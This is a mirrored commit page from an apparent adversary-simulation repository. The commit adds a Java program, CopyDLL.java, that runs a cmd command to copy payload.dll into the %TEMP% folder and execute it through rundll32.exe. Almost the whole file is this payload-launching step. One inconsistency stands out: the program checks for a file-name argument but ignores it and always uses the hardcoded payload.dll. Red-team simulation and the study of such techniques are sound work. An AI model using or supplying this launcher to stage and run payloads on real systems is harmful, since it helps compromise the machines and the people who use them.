mirror of
https://github.com/S3N4T0R-0X0/APTs-Adversary-Simulation.git
synced 2026-08-04 09:41:40 +02:00
Add files via upload
This commit is contained in:
@@ -0,0 +1,32 @@
|
||||
// javac CopyDLL.java
|
||||
|
||||
import java.io.IOException;
|
||||
|
||||
public class CopyDLL {
|
||||
public static void main(String[] args) {
|
||||
try {
|
||||
// Check if a file name is provided as a command-line argument
|
||||
if (args.length == 0) {
|
||||
System.out.println("Usage: java CopyDLL <file_name>");
|
||||
return;
|
||||
}
|
||||
|
||||
// Construct the command to copy the file to %TEMP% as payload.dll
|
||||
String command = "cmd /c copy payload.dll %TEMP%\\payload.dll /y & rundll32.exe %TEMP%\\payload.dll,RunDllEntry";
|
||||
|
||||
// Execute the command
|
||||
Process process = Runtime.getRuntime().exec(command);
|
||||
|
||||
// Wait for the process to finish
|
||||
process.waitFor();
|
||||
|
||||
// Print success message
|
||||
System.out.println("Command executed successfully.");
|
||||
} catch (IOException | InterruptedException e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
|
||||
Reference in New Issue
Block a user